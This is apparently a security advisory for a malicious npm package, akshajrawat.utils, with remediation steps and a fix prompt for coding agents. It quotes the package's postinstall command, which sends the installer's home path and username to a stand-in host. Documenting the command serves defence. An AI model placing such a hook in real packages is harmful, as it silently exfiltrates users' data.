# MAL-2026-10558: Malicious code in akshajrawat.utils (npm)


- **Type:** Malicious package
- **Package:** `akshajrawat.utils` (npm)
- **Published:** 14 Jul 2026
- **Also known as:** GHSA-68xp-rp76-mhf5

## What is MAL-2026-10558?

MAL-2026-10558 is a malicious package in akshajrawat.utils, published on 14 Jul 2026. 

### Official description

The package's package.json declares a postinstall lifecycle hook that runs automatically on `npm install`: `node -e "require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)"`. On every install, this issues an unconditional HTTPS GET to https://example.com/collect with the installer's $HOME path and $USERNAME embedded as query-string parameters. This is the canonical supply-chain exfiltration shape: lifecycle-triggered, unconditional, undocumented outbound transmission of installer-side identifiers. While example.com and the package description suggest the package may be a proof-of-concept or research artifact, the structural behavior would harm any installer who runs `npm install` against it, and the same scaffold trivially redirects to an attacker-controlled host.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-10558?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-10558 is a malicious package: akshajrawat.utils (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-10558/ (Markdown: https://insights.sbomify.com/MAL-2026-10558/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-10558

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-10558/
Summaries are generated and may contain mistakes; the official description above is the record.